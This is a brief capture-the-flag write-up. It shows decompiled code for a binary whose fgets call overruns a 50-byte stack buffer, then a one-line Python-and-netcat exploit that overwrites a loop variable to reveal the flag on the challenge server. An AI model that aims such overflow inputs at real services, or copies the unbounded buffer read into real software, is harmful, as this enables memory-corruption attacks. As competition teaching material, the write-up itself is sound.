Unfortunately, I lost the description for this one. Won't let me access the challenge information after the competition ended.
Quick and dirty description: given a binary, discover the vulnerability and execute it on the remote.
Ghidra decompilation of main has this little bugger:
char local_43 [50];
char local_11;
undefined *puStack16;
puStack16 = &stack0x00000004;
local_11 = '\0';
puts("I\'m a parrot:");
do {
memset(local_43,0,0x32);
printf("%s",&DAT_000107dc);
local_11 = '\0';
fgets(local_43,0x50,stdin);
putchar(10);
puts(local_43);
} while (local_11 != 'b');
printf("Flag: %s\n",FLAG);
We need to overwrite local_11
with 'b'.
python3 -c "print('b'*51)" | nc ggcs-bm01.allyourbases.co 8134
I'm a parrot:
>
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
Flag: c0MinG-Up_bs-8788